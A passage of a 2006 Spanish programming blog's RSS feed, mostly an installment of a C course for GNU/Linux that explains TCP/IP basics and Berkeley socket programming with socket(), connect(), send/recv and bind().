			<wfw:commentRss>http://blog.txipinet.com/2006/11/17/51-programacion-de-lkms-en-solaris/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/b31cc813fcd79e9a170a88884fadb89d?s=96&#38;d=identicon&#38;r=X" medium="image">
			<media:title type="html">txipi</media:title>
		</media:content>

		<media:content url="http://blog.txipinet.com/index.php/2006/11/17/i%20=%20mod_install%28&#38;modlinkage" medium="image" />

		<media:content url="http://blog.txipinet.com/index.php/2006/11/17/i%20=%20mod_remove%28&#38;modlinkage" medium="image" />

		<media:content url="http://blog.txipinet.com/index.php/2006/11/17/long%29%28arg1" medium="image" />

		<media:content url="http://txipi.files.wordpress.com/2007/12/solaris01.gif" medium="image">
			<media:title type="html">solaris01.gif</media:title>
		</media:content>

		<media:content url="http://blog.txipinet.com/index.php/2006/11/17/i%20=%20mod_install%28&#38;modlinkage" medium="image" />
	</item>
		<item>
		<title>Curso de programación en C para GNU/Linux (final)</title>
		<link>http://blog.txipinet.com/2006/11/11/50-curso-de-programacion-en-c-para-gnu-linux-final/</link>
		<comments>http://blog.txipinet.com/2006/11/11/50-curso-de-programacion-en-c-para-gnu-linux-final/#comments</comments>
		<pubDate>Sat, 11 Nov 2006 20:55:33 +0000</pubDate>
		<dc:creator>txipi</dc:creator>
				<category><![CDATA[Informática]]></category>
		<category><![CDATA[C]]></category>
		<category><![CDATA[curso]]></category>
		<category><![CDATA[gcc]]></category>
		<category><![CDATA[GNU/Linux]]></category>
		<category><![CDATA[programación]]></category>

		<guid isPermaLink="false">http://txipi.wordpress.com/2006/11/11/curso-de-programacion-en-c-para-gnu-linux-final/</guid>
		<description><![CDATA[Durante estas últimas semanas hemos estado viendo poco a poco cómo programar en C para GNU/Linux, con bastantes ejemplos e interminables explicaciones (siento ser tan chapas ;-P). Algunos de vosotros me habéis pedido un formato un poco más manejable para tener todo el curso reunido en un único documento que poder imprimir a gusto y [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.txipinet.com&blog=2249633&post=53&subd=txipi&ref=&feed=1" />]]></description>
			<content:encoded><![CDATA[<p>Durante estas <a href="http://blog.txipinet.com/index.php/tag/programacion">últimas semanas</a> hemos estado viendo poco a poco cómo programar en C para GNU/Linux, con bastantes ejemplos e interminables explicaciones (siento ser tan chapas ;-P). Algunos de vosotros me habéis pedido un formato un poco más manejable para tener todo el curso reunido en un único documento que poder imprimir a gusto y hacer anotaciones, correcciones o lo que sea. Quiero aprovechar la entrada número 50 en mi blog para colgar este curso tanto en <a href="http://www.e-ghost.deusto.es/docs/2006/ProgramacionGNULinux.odt">ODT</a> como en <a href="http://www.e-ghost.deusto.es/docs/2006/ProgramacionGNULinux.pdf">PDF</a>. ¡Qué lo disfrutéis! <img src='http://s.wordpress.com/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> </p>
<p><span id="more-53"></span></p>
<p>Si encontráis alguna errata o similar, os agradecería que lo comentarais para corregirlo <img src='http://s.wordpress.com/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> </p>
<br /><img alt="" border="0" src="http://feeds.wordpress.com/1.0/categories/txipi.wordpress.com/53/" /> <img alt="" border="0" src="http://feeds.wordpress.com/1.0/tags/txipi.wordpress.com/53/" /> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/txipi.wordpress.com/53/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/txipi.wordpress.com/53/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/txipi.wordpress.com/53/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/txipi.wordpress.com/53/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/txipi.wordpress.com/53/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/txipi.wordpress.com/53/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/txipi.wordpress.com/53/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/txipi.wordpress.com/53/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/txipi.wordpress.com/53/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/txipi.wordpress.com/53/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.txipinet.com&blog=2249633&post=53&subd=txipi&ref=&feed=1" />]]></content:encoded>
			<wfw:commentRss>http://blog.txipinet.com/2006/11/11/50-curso-de-programacion-en-c-para-gnu-linux-final/feed/</wfw:commentRss>
		<slash:comments>33</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/b31cc813fcd79e9a170a88884fadb89d?s=96&#38;d=identicon&#38;r=X" medium="image">
			<media:title type="html">txipi</media:title>
		</media:content>
	</item>
		<item>
		<title>Curso de programación en C para GNU/Linux (VIII)</title>
		<link>http://blog.txipinet.com/2006/11/05/49-curso-de-programacion-en-c-para-gnu-linux-viii/</link>
		<comments>http://blog.txipinet.com/2006/11/05/49-curso-de-programacion-en-c-para-gnu-linux-viii/#comments</comments>
		<pubDate>Sun, 05 Nov 2006 17:15:35 +0000</pubDate>
		<dc:creator>txipi</dc:creator>
				<category><![CDATA[Informática]]></category>
		<category><![CDATA[C]]></category>
		<category><![CDATA[curso]]></category>
		<category><![CDATA[gcc]]></category>
		<category><![CDATA[GNU/Linux]]></category>
		<category><![CDATA[programación]]></category>

		<guid isPermaLink="false">http://txipi.wordpress.com/2006/11/05/curso-de-programacion-en-c-para-gnu-linux-viii/</guid>
		<description><![CDATA[En la pasada entrega vimos cómo comunicar datos entre procesos mediante tuberías y vimos cómo también se pueden utilizar los mecanismos IPC estándar. En esta última entrega (oooohhh ;-D) veremos cómo comunicarlos a través de sockets TCP y UDP.

&#160;
Comunicación por red
Muchas de las utilidades que usamos todos los días, como el correo electrónico o los [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.txipinet.com&blog=2249633&post=52&subd=txipi&ref=&feed=1" />]]></description>
			<content:encoded><![CDATA[<p>En la <a href="http://blog.txipinet.com/index.php/2006/11/05/48-curso-de-programacion-en-c-para-gnu-linux-vii">pasada entrega</a> vimos cómo comunicar datos entre procesos mediante tuberías y vimos cómo también se pueden utilizar los mecanismos IPC estándar. En esta última entrega (oooohhh ;-D) veremos cómo comunicarlos a través de sockets TCP y UDP.</p>
<p><span id="more-52"></span></p>
<p class="post-content">&nbsp;</p>
<h3>Comunicación por red</h3>
<p>Muchas de las utilidades que usamos todos los días, como el correo electrónico o los navegadores web, utilizan protocolos de red para comunicarse. En este apartado veremos cómo utilizar esos protocolos, comprenderemos todo lo que rodea a una comunicación a través de los interfaces de red y aprenderemos a programar clientes y servidores sencillos. Breve repaso a las redes TCP/IP</p>
<p>Antes de afrontar la configuración de red de nuestros equipos, vamos a desempolvar nuestras nociones sobre redes TCP/IP. Siempre que se habla de redes de ordenadores, se habla de protocolos. Un protocolo no es más que un acuerdo entre dos entidades para entenderse. Es decir, si yo le digo a un amigo que le dejo una llamada perdida cuando llegue a su portal, para que baje a abrirme, habremos establecido un protocolo de comunicación, por ejemplo.</p>
<p>Los ordenadores funcionan de una forma más o menos parecida. Cuando queremos establecer una conexión entre ordenadores mediante una red, hay muchos factores en juego: primero está el medio físico en el que se producirá la conexión (cable, ondas electromagnéticas, etc.), por otro lado está la tecnología que se utilizará (tarjetas de red Ethernet, modems, etc.), por otro los paquetes de datos que enviaremos, las direcciones o destinos dentro de una red&#8230; Dado que hay tantos elementos que intervienen en una comunicación, se establecen protocolos o normas para entidades del mismo nivel, es decir, se divide todo lo que interviene en la comunicación en diferentes capas. En el nivel más bajo de todas las capas estaría el nivel físico: el medio que se va a utilizar, los voltajes utilizados, etc. Sobre esa capa se construye la siguiente, en donde transformamos las señales eléctricas en datos propiamente dichos. Esta sería la capa de enlace de datos. Posteriormente, se van estableciendo una serie de capas intermedias, cada una con mayor refinamiento de la información que maneja, hasta llegar a la capa de aplicación, que es con la que interactúan la mayoría de programas que utilizamos para conectarnos a redes: navegadores, clientes de correo, etc.</p>
<p>Así, por ejemplo, si queremos mandar un correo electrónico a un amigo, utilizaremos la aplicación indicada para mandar un mensaje, en este caso nuestro cliente de correo preferido (mutt, Kmail, mozilla&#8230;). El cliente de correo enviará el mensaje al servidor, para que éste lo encamine hasta el buzón de nuestro amigo, pero en ese envío sucederán una serie de pasos que pueden parecernos transparentes en un principio:</p>
<ul>
<li>Primeramente se establece una conexión con el servidor, para ello la aplicación (el cliente de correo) enviará a las capas más bajas de protocolos de red una petición al servidor de correo.</li>
<li>Esa capa, aceptará la petición, y realizará otro encargo a una capa inferior, solicitando enviar un paquete de datos por la red.</li>
<li>La capa inferior, a su vez, pedirá a la capa física enviar una serie de señales eléctricas por el medio, para hacer su cometido.</li>
</ul>
<p>Tal y como está enfocada la &#8220;pila de protocolos de red&#8221;, cada &#8220;trabajo&#8221; de red complejo se divide en partes cada vez más sencillas hasta llegar a la capa física, que se encargará de la transmisión eléctrica. Es como si el jefe de una empresa de videojuegos mandara a su subdirector que hiciera un juego de acción. El subdirector iría a donde sus subordinados y les pediría un guión, unos gráficos, un motor de animaciones, etc. Los encargados de los gráficos irían a donde sus subordinados y les pedirían, la portada, los decorados, los personajes, etc. Éstos, a su vez, se repartirían en grupos y cada uno haría un trabajo más concreto, y así sucesivamente. Es decir, una idea compleja, se divide en trabajos concretos y sencillos para hacerse, estructurándose en capas.</p>
<p>En el caso específico que nos interesa, la pila de protocolos que utilizamos se denomina TCP/IP, porque dos de sus protocolos principales se llaman TCP (capa de transporte) e IP (capa de red).</p>
<p><a href="http://txipi.files.wordpress.com/2007/12/cursoc09.gif" title="cursoc09.gif"><img src="http://txipi.files.wordpress.com/2007/12/cursoc09.gif?w=500" alt="cursoc09.gif" /></a></p>
<p>Comunicación mediante capas de protocolos de red.</p>
<p>Cuando utilizamos estos protocolos, cada uno de los posibles destinos de una red necesita un nombre diferente o dirección IP. Al igual que sucede con los teléfonos, para diferenciar todos los ordenadores y dispositivos conectados a una red, se les asigna a cada uno un número diferente, y basta con &#8220;marcar&#8221; ese número para acceder a él. Actualmente esos números van desde el 0 al 4294967296, pero en lugar de utilizar simplemente el número, se emplea una notación más sencilla, separando el número en 4 dígitos del 0 al 255, por ejemplo: 128.244.34.12 ó 192.168.0.1.</p>
<p>En un futuro no muy lejano, las direcciones IP cambiarán su formato, ya que el espacio de direcciones que ofrece la versión actual de IP (IPv4) se está agotando, por lo que habrá que ampliar su rango (al igual que ocurre en ciudades o provincias con mucha demanda de números de teléfono, que amplían la longitud de sus números de teléfono en una o varias cifras).</p>
<p>Siempre que queramos acceder a una red TCP/IP, deberemos tener una dirección IP que nos identifique. Está prohibido viajar sin matrícula por estas carreteras. En nuestras redes privadas, nuestras intranets o pequeñas LANs, la manera de establecer esas direcciones IP la marcamos nosotros mismos (o el administrador de red, en su caso). Es decir, dentro de nuestras organizaciones, somos nosotros los que ponemos los nombres. Esto es lo mismo que lo que sucede en una organización grande, con muchos teléfonos internos y una centralita. El número de extensión de cada teléfono, lo inventamos nosotros mismos, no la compañía telefónica. Cuando queremos salir a una red pública como pueda ser Internet, no podemos inventarnos nuestra dirección IP, deberemos seguir unas normas externas para poder circular por allí. Siguiendo el símil telefónico, si queremos un teléfono accesible por todo el mundo, deberemos solicitar un número válido a la empresa telefónica.</p>
<p>Hasta aquí todo claro: los ordenadores tienen unos números similares a los números de teléfono para identificarse, y cuando queremos comunicarnos con un destino en concreto, sólo tenemos que &#8220;marcar&#8221; su número, pero&#8230; ¿cuándo pedimos una página web a www.linux.org cómo sabe nuestra máquina qué número &#8220;marcar&#8221;? Buena pregunta, tiene que haber un &#8220;listín telefónico&#8221; IP, que nos diga que IP corresponde con una dirección específica. Estas &#8220;páginas amarillas&#8221; de las redes IP se denominan DNS (Domain Name System). Justo antes de hacer la conexión a www.linux.org, nuestro navegador le pregunta la dirección IP al DNS, y luego conecta vía dirección IP con el servidor web www.linux.org.</p>
<p>Una conexión de un ordenador a otro precisa, además de una dirección IP de destino, un número de puerto. Si llamamos por teléfono a un número normalmente preguntamos por alguien en concreto. Llamas a casa de tus padres y preguntas por tu hermano pequeño. Con las comunicaciones telemáticas sucede algo parecido: llamas a una determinada IP y preguntas por un servicio en concreto, por ejemplo el Servicio Web, que tiene reservado el puerto 80. Los servicios reservan puertos y se quedan a la escucha de peticiones para esos puertos. Existen un montón de puertos que típicamente se usan para servicios habituales: el 80 para web, el 20 y 21 para FTP, el 23 para telnet, etc. Son los puertos “bien conocidos” (“well known ports”) y suelen ser puertos reservados, por debajo de 1024. Para aplicaciones extrañas o de ámbito personal se suelen utilizar puertos “altos”, por encima de 1024. El número de puerto lo define un entero de 16 bits, es decir, hay 65535 puertos disponibles. Un servidor o servicio no es más que un programa a la escucha de peticiones en un puerto. Así pues, cuando queramos conectarnos a un ordenador, tendremos que especificar el par “DirecciónIP:Puerto”.</p>
<p>Con esta breve introducción hemos repasado nociones básicas de lo que son protocolos de comunicaciones, la pila de protocolos TCP/IP, el direccionamiento IP, y la resolución de nombres o DNS.</p>
<h4>Sockets</h4>
<p>Un socket es, como su propio nombre indica, un conector o enchufe. Con él podremos conectarnos a ordenadores remotos o permitir que éstos se conecten al nuestro a través de la red. En realidad un socket no es más que un descriptor de fichero un tanto especial. Recordemos que en UNIX todo es un fichero, así que para enviar y recibir datos por la red, sólo tendremos que escribir y leer en un fichero un poco especial.</p>
<p>Ya hemos visto que para crear un nuevo fichero se usan las llamadas open() o creat(), sin embargo, este nuevo tipo de ficheros se crea de una forma un poco distinta, con la función socket():</p>
<pre>int socket(int domain, int type, int protocol);</pre>
<p>Una vez creado un socket, se nos devuelve un descriptor de fichero, al igual que ocurría con open() o creat(), y a partir de ahí ya podríamos tratarlo, si quisiéramos, como un fichero normal. Se pueden hacer read() y write() sobre un socket, ya que es un fichero, pero no es lo habitual. Existen funciones específicamente diseñadas para el manejo de sockets, como send() o recv(), que ya iremos viendo más adelante.</p>
<p>Así pues, un socket es un fichero un poco especial, que nos va a servir para realizar una comunicación entre dos procesos. Los sockets que trataremos nosotros son los de la API (Interfaz de Programación de Aplicaciones) de sockets Berkeley, diseñados en la universidad del mismo nombre, y nos centraremos exclusivamente en la programación de clientes y servidores TCP/IP. Dentro de este tipo de sockets, veremos dos tipos:</p>
<ul>
<li>Sockets de flujo (TCP).</li>
<li>Sockets de datagramas (UDP).</li>
</ul>
<p>Los primeros utilizan el protocolo de transporte TCP, definiendo una comunicación bidireccional, confiable y orientada a la conexión: todo lo que se envíe por un extremo de la comunicación, llegará al otro extremo en el mismo orden y sin errores (existe corrección de errores y retransmisión).</p>
<p>Los sockets de datagramas, en cambio, utilizan el protocolo UDP que no está orientado a la conexión, y es no confiable: si envías un datagrama, puede que llegue en orden o puede que llegue fuera de secuencia. No precisan mantener una conexión abierta, si el destino no recibe el paquete, no ocurre nada especial.</p>
<p>Alguien podría pensar que este tipo de sockets no tiene ninguna utilidad, ya que nadie nos asegura que nuestro tráfico llegue a buen puerto, es decir, podría haber pérdidas de información. Bien, imaginemos el siguiente escenario: el partido del siglo (todos los años hay dos o más, por eso es el partido del siglo), una única televisión en todo el edificio, pero una potente red interna que permite retransmitir el partido digitalizado en cada uno de los ordenadores. Cientos de empleados poniendo cara de contables, pero siguiendo cada lance del encuentro&#8230; ¿Qué pasaría si se usaran sockets de flujo? Pues que la calidad de la imagen sería perfecta, con una nitidez asombrosa, pero es posible que para mantener intacta la calidad original haya que retransmitir fotogramas semidefectuosos, reordenar los fotogramas, etc. Existen muchísimas posibilidades de que no se pueda mantener una visibilidad en tiempo real con esa calidad de imagen. ¿Qué pasaría si usáramos sockets de datagramas? Probablemente algunos fotogramas tendrían algún defecto o se perderían, pero todo fluiría en tiempo real, a gran velocidad. Perder un fotograma no es grave (recordemos que cada segundo se suelen emitir 24 fotogramas), pero esperar a un fotograma incorrecto de hace dos minutos que tiene que ser retransmitido, puede ser desesperante (quizá tu veas la secuencia del gol con más nitidez, pero en el ordenador de enfrente hace minutos que lo han festejado). Por esto mismo, es muy normal que las retransmisiones de eventos deportivos o musicales en tiempo real usen sockets de datagramas, donde no se asegura una calidad perfecta, pero la imagen llegará sin grandes saltos y sin demoras por retransmisiones de datos imperfectos o en desorden.</p>
<h4>Tipos de datos</h4>
<p>Es muy importante conocer las estructuras de datos necesarias a la hora de programar aplicaciones en red. Quizá al principio pueda parecer un tanto caótica la definición de estas estructuras, es fácil pensar en implementaciones más eficientes y más sencillas de comprender, pero debemos darnos cuenta de que la mayoría de estas estructuras son modificaciones de otras existentes, más generales y, sobre todo, que se han convertido en un estándar en la programación en C para UNIX. Por lo tanto, no nos queda más remedio que tratar con ellas.</p>
<p>La siguiente estructura es una struct derivada del tipo sockaddr, pero específica para Internet:</p>
<pre>struct sockaddr_in {
	short int sin_family; // = AF_INET
	unsigned short int sin_port;
	struct in_addr sin_addr;
	unisgned char sin_zero[8];
}</pre>
<p>A simple vista parece monstruosamente fea. Necesitábamos una estructura que almacenase una dirección IP y un puerto, ¿y alguien diseñó eso? ¿En qué estaba pensando? No desesperemos, ya hemos dicho que esto viene de más atrás. Comentemos poco a poco la estructura:</p>
<ul>
<li>sin_family: es un entero corto que indica la “familia de direcciones”, en nuestro caso siempre tendrá el valor “AF_INET”.</li>
<li>sin_port: entero corto sin signo que indica el número de puerto.</li>
<li>sin_addr: estructura de tipo in_addr que indica la dirección IP.</li>
<li>sin_zero: array de 8 bytes rellenados a cero. Simplemente tiene sentido para que el tamaño de esta estructura coincida con el de sockaddr.</li>
</ul>
<p>La estructura in_addr utilizada en sin_addr tiene la siguiente definición:</p>
<pre>struct in_addr {
	unisgned long s_addr;
}</pre>
<p>Es decir, un entero largo sin signo.</p>
<p>Además de utilizar las estructuras necesarias, también deberemos emplear los formatos necesarios. En comunicaciones telemáticas entran en juego ordenadores de muy diversas naturalezas, con representaciones diferentes de los datos en memoria. La familia de microprocesadores x86, por ejemplo, guarda los valores numéricos en memoria utilizando la representación “Little-Endian”, es decir, para guardar “12345678”, se almacena así: “78563412”, es decir, el byte de menos peso (“78”) al principio, luego el siguiente (“56”), el siguiente (“34”) y por último, el byte de más peso (“12”). La representación “Big-Endian”, empleada por los microprocesadores Motorola, por ejemplo, guardaría “12345678” así: “12345678”. Si dos ordenadores de estas características compartieran información sin ser unificada, el resultado sería ininteligible para ambas partes. Por ello disponemos de un conjunto de funciones que traducen de el formato local (“host”) al formato de la red (“network”) y viceversa:</p>
<pre>uint32_t htonl(uint32_t hostlong);
uint16_t htons(uint16_t hostshort);
uint32_t ntohl(uint32_t netlong);
uint16_t ntohs(uint16_t netshort);</pre>
<p>Quizá parezca complicado, pero sus nombres son muy representativos: “h” significa “host”·y “n” significa “network”. Las funciones que acaban en “l” son para enteros largos (“long int”, como los usados en las direcciones IP) y las que acaban en “s” son para enteros cortos (“short int”, como los usados al especificar un número de puerto). Por lo tanto para indicar un número de puerto, por ejemplo, podríamos hacerlo así:</p>
<pre>sin_port = htons( 80 );</pre>
<p>Es decir, convertimos “80” del formato de nuestro host, al formato de red (“h” to “n”), y como es un “short” usamos htons().</p>
<p>Ya para terminar con los formatos veremos dos funciones más. Normalmente la gente no utiliza enteros largos para representar sus direcciones IP, sino que usan la notación decimal, por ejemplo: 130.206.100.59. Pero como ya hemos visto, in_addr necesita un entero largo para representar la dirección IP. Para poder pasar de una notación a otra tenemos dos funciones a nuestra disposición:</p>
<pre>int inet_aton(const char *cp, struct in_addr *inp);
char *inet_ntoa(struct in_addr in);</pre>
<p>Los nombres de las funciones también ayudan: inet_aton() traduce de un array (“a”) de chars, es decir, un string, a una dirección de red (“n”, de “network”), mientras que inet_ntoa() traduce de una dirección de red (“n”) a un array de chars (“a”). Veamos un ejemplo de su uso:</p>
<pre>struct in_addr mi_addr;

inet_aton( “130.206.100.59”, &amp;(mi_addr) );

printf( “Direccion IP: %s\n”, inet_ntoa( mi_addr ) );</pre>
<p>Para terminar este apartado, vamos a ver cómo rellenar una estructura sockaddr_in desde el principio. Imaginemos que queremos preparar la estructura “mi_estructura” para conectarnos al puerto 80 del host “130.206.100.59”. Deberíamos hacer los siguiente:</p>
<pre>struct sockaddr_in mi_estructura;

mi_estructura.sin_family = AF_INET;
mi_estructura.sin_port = htons( 80 );
inet_aton( “130.206.100.59”, &amp;(mi_estructura.sin_addr) );
memset( &amp;(mi_estructura.sin_zero), ‘’, 8 );</pre>
<p>Como ya sabemos, “sin_family” siempre va a ser “AF_INET”. Para definir “sin_port”, utilizamos htons() con el objeto de poner el puerto en formato de red. La dirección IP la definimos desde el formato decimal a la estructura “sin_addr” con la función inet_aton(), como sabemos. Y por último necesitamos 8 bytes a 0 (“”) en “sin_zero”, cosa que conseguimos utilizando la función memset(). Realmente podría copiarse este fragmento de código y utilizarlo siempre así sin variación:</p>
<pre>#define PUERTO 80
#define DIRECCION “130.206.100.59”

struct sockaddr_in mi_estructura;

mi_estructura.sin_family = AF_INET;
mi_estructura.sin_port = htons( PUERTO );
inet_aton( DIRECCION, &amp;(mi_estructura.sin_addr) );
memset( &amp;(mi_estructura.sin_zero), ‘’, 8 );</pre>
<h4>Funciones necesarias</h4>
<p>Una vez conocidos los tipos de datos que emplearemos a la hora de programar nuestras aplicaciones de red, es hora de ver las llamadas que nos proporcionarán la creación de conexiones, envío y recepción de datos, etc.</p>
<p>Lo primero que debemos obtener a la hora de programar una aplicación de red es un socket. Ya hemos explicado que un socket es un conector o enchufe para poder realizar intercomunicaciones entre procesos, y sirve tanto para crear un programa que pone un puerto a la escucha, como para conectarse a un determinado puerto. Un socket es un fichero, como todo en UNIX, por lo que la llamada a la función socket() creará el socket y nos devolverá un descriptor de fichero:</p>
<pre>int socket(int domain, int type, int protocol);</pre>
<p>De los tres parámetros que recibe, sólo nos interesa fijar uno de ellos: “type”. Deberemos decidir si queremos que sea un socket de flujo (“SOCK_STREAM”)o un socket de datagramas (“SOCK_DGRAM”). El resto de parámetros se pueden fijar a “AF_INET” para el dominio de direcciones, y a “0”, para el protocolo (de esta manera se selecciona el protocolo automáticamente):</p>
<pre>mi_socket = socket( AF_INET, SOCK_DGRAM, 0 );</pre>
<p>Ya sabemos crear sockets, utilicémoslos para conectarnos a un servidor remoto. Para conectarnos a otro ordenador deberemos utilizar la función connect(), que recibe tres parámetros:</p>
<pre>int connect(int sockfd, const struct sockaddr *serv_addr, socklen_t addrlen);</pre>
<p>El primero de ellos es el socket (“sockfd”) que acabamos de crear, el segundo es un puntero a una estructura de tipo sockaddr (“serv_addr”) recientemente explicada (recordemos que sockaddr_in era una estructura sockaddr especialmente diseñada para protocolos de Internet, así que nos sirve aquí), y por último es preciso indicar el tamaño de dicha estructura (“addrlen”).</p>
<p>Veamos un fragmento de código que ponga todo esto en juego:</p>
<pre>#define PUERTO 80
#define DIRECCION “130.206.100.59”

int mi_socket, tam;
struct sockaddr_in mi_estructura;

mi_estructura.sin_family = AF_INET;
mi_estructura.sin_port = htons( PUERTO );
inet_aton( DIRECCION, &amp;(mi_estructura.sin_addr) );
memset( &amp;(mi_estructura.sin_zero), ‘’, 8 );

mi_socket = socket( AF_INET, SOCK_STREAM, 0 );

tam = sizeof( struct sockaddr );

connect( mi_socket, (struct sockaddr *)&amp;mi_estructura, tam );</pre>
<p>Como vemos, lo único que hemos hecho es juntar las pocas cosas vistas hasta ahora. Con ello ya conseguimos establecer una conexión remota con el servidor especificado en las constantes DIRECCION y PUERTO. Sería conveniente comprobar todos los errores posibles que podría provocar este código, como que connect() no logre conectar con el host remoto, que la creación del socket falle, etc.</p>
<p>Para poder enviar y recibir datos existen varias funciones. Ya avanzamos anteriormente que un socket es un descriptor de fichero, así que en teoría sería posible escribir con write() y leer con read(), pero hay funciones mucho más cómodas para hacer esto. Dependiendo si el socket que utilicemos es de tipo socket de flujo o socket de datagramas emplearemos unas funciones u otras:</p>
<ul>
<li>Para sockets de flujo: send() y recv().</li>
<li>Para sockets de datagramas: sendto() y recvfrom().</li>
</ul>
<p>Los prototipos de estas funciones son los siguientes:</p>
<pre>int send(int s, const void *msg, size_t len, int flags); 

int  sendto(int s, const void *msg, size_t len, int flags, const struct sockaddr *to, socklen_t tolen);

int recv(int s, void *buf, size_t len, int flags);

int  recvfrom(int  s, void *buf, size_t len, int flags, struct sockaddr *from, socklen_t *fromlen);</pre>
<p>El parámetro “s” es el socket que emplearemos. Tanto “msg” como “buf” son los buffers que utilizaremos para almacenar el mensaje que queremos enviar o recibir. Posteriormente tenemos que indicar el tamaño de ese buffer, con “len”. En el campo “flags” se pueden indicar varias opciones juntándolas mediante el operador OR, pero funcionará perfectamente si ponemos un 0 (significa no elegir ninguna de esas opciones múltiples). Las funciones para sockets de datagramas incluyen además el puntero a la estructura sockaddr y un puntero a su tamaño, tal y como ocurría con connect(). Esto es así porque una conexión mediante este tipo de socket no requiere hacer un connect() previo, por lo que es necesario indicar la dirección IP y el número de puerto para enviar o recibir los datos. Veamos unos fragmentos de código de ejemplo:</p>
<pre>char buf_envio[] = “Hola mundo telematico!\r\n”;
char buf_recepcion[255];
int tam, numbytes;

// aquí creamos el socket mi_socket y
// la estructura mi_estructura, como hemos hecho antes

tam = sizeof( struct sockaddr );

connect( mi_socket, (struct sockaddr *)&amp;mi_estructura, tam );

numbytes = send( mi_socket, buf_envio, strlen( buf_envio ), 0 );
printf( “%d bytes enviados\n”, numbytes );

numbytes = recv( mi_socket, buf_recepcion, 255-1, 0 );
printf( “%d bytes recibidos\n”, numbytes );</pre>
<p>Creamos dos buffers, uno para contener el mensaje que queremos enviar, y otro para guardar el mensaje que hemos recibido (de 255 bytes). En la variable “numbytes” guardamos el número de bytes que se han enviado o recibido por el socket. A pesar de que en la llamada a recv() pidamos recibir 254 bytes (el tamaño del buffer menos un byte, para indicar con un “” el fin del string), es posible que recibamos menos, por lo que es muy recomendable guardar el número de bytes en dicha variable. El siguiente código es similar pero para para sockets de datagramas:</p>
<pre>char buf_envio[] = “Hola mundo telematico!\r\n”;
char buf_recepcion[255];
int tam, numbytes; 

// aquí creamos el socket mi_socket y
// la estructura mi_estructura, como hemos hecho antes

tam = sizeof( struct sockaddr );

// no es preciso hacer connect()

numbytes = sendto( mi_socket, buf_envio, strlen( buf_envio ), 0,
           (struct sockaddr *)&amp;mi_estructura, tam );
printf( “%d bytes enviados\n”, numbytes );

numbytes = recvfrom( mi_socket, buf_recepcion, 255-1, 0,
           (struct sockaddr *)&amp;mi_estructura, &amp;tam );
printf( “%d bytes recibidos\n”, numbytes );</pre>
<p>Las diferencias con el código anterior son bastante fáciles de ver: no hay necesidad de hacer connect(), porque la dirección y puerto los incluimos en la llamada a sendto() y recvfrom(). El puntero a la estructura “mi_estructura” tiene que ser de tipo “sockaddr”, así que hacemos un cast, y el tamaño tiene que indicarse en recvfrom() como un puntero al entero que contiene el tamaño, así que referenciamos la variable “tam”.</p>
<p>Con todo lo visto hasta ahora ya sabemos hacer clientes de red, que se conecten a hosts remotos tanto mediante protocolos orientados a la conexión, como telnet o http, como mediante protocolos no orientados a la conexión ,como tftp o dhcp. El proceso para crear aplicaciones que escuchen un puerto y acepten conexiones requiere comprender el uso de unas cuantas funciones más.</p>
<p>Para crear un servidor de sockets de flujo es necesario realizar una serie de pasos:</p>
<ol>
<li>Crear un socket para aceptar las conexiones, mediante socket().</li>
<li>Asociar ese socket a un puerto local, mediante bind().</li>
<li>Poner dicho puerto a la escucha, mediante listen().</li>
<li>Aceptar las conexiones de los clientes, mediante accept().</li>
<li>Procesar dichas conexiones.</li>
</ol>
<p>La llamada a bind() asocia el socket que acabamos de crear con un puerto local. Cuando un paquete de red llegue a nuestro ordenador, el núcleo del Sistema Operativo verá a qué puerto se dirige y utilizará el socket asociado para encaminar los datos. La llamada a bind() tiene unos parámetros muy poco sorprendentes:</p>
<pre>int bind(int sockfd, struct sockaddr *my_addr, socklen_t addrlen);</pre>
<p>Es decir, el socket, la estructura que indica la dirección IP y el puerto, y el tamaño de dicha estructura. Un ejemplo del uso de bind():</p>
<pre>#define PUERTO 80
#define DIRECCION “130.206.100.59”

int mi_socket, tam;
struct sockaddr_in mi_estructura;

mi_estructura.sin_family = AF_INET;
mi_estructura.sin_port = htons( PUERTO );
inet_aton( DIRECCION, &amp;(mi_estructura.sin_addr) );
memset( &amp;(mi_estructura.sin_zero), ‘’, 8 );

mi_socket = socket( AF_INET, SOCK_STREAM, 0 );

tam = sizeof( struct sockaddr );

bind( mi_socket, (struct sockaddr *)&amp;mi_estructura, tam );</pre>
<p>Si quisiéramos poner a la escucha nuestra propia dirección, sin tener que saber cuál es en concreto, podríamos haber empleado “INADDR_ANY”, y si el puerto que ponemos a la escucha nos da igual, podríamos haber puesto el número de puerto “0”, para que el propio kernel decida cuál darnos:</p>
<pre>mi_estructura.sin_family = AF_INET;
mi_estructura.sin_port = 0;
mi_estructura.sin_addr.s_addr = INADDR_ANY;
memset( &amp;(mi_estructura.sin_zero), ‘’, 8 );</pre>
<p>Esta es la única llamada que se requiere para crear un servidor de sockets de datagramas, ya que no están orientados a la conexión. Para crear servidores de sockets de flujo, una vez hayamos asociado el socket al puerto con bind(), deberemos ponerlo a la escucha de peticiones mediante la función listen(). Esta función recibe sólo dos parámetros:</p>
<pre>int listen(int s, int backlog);</pre>
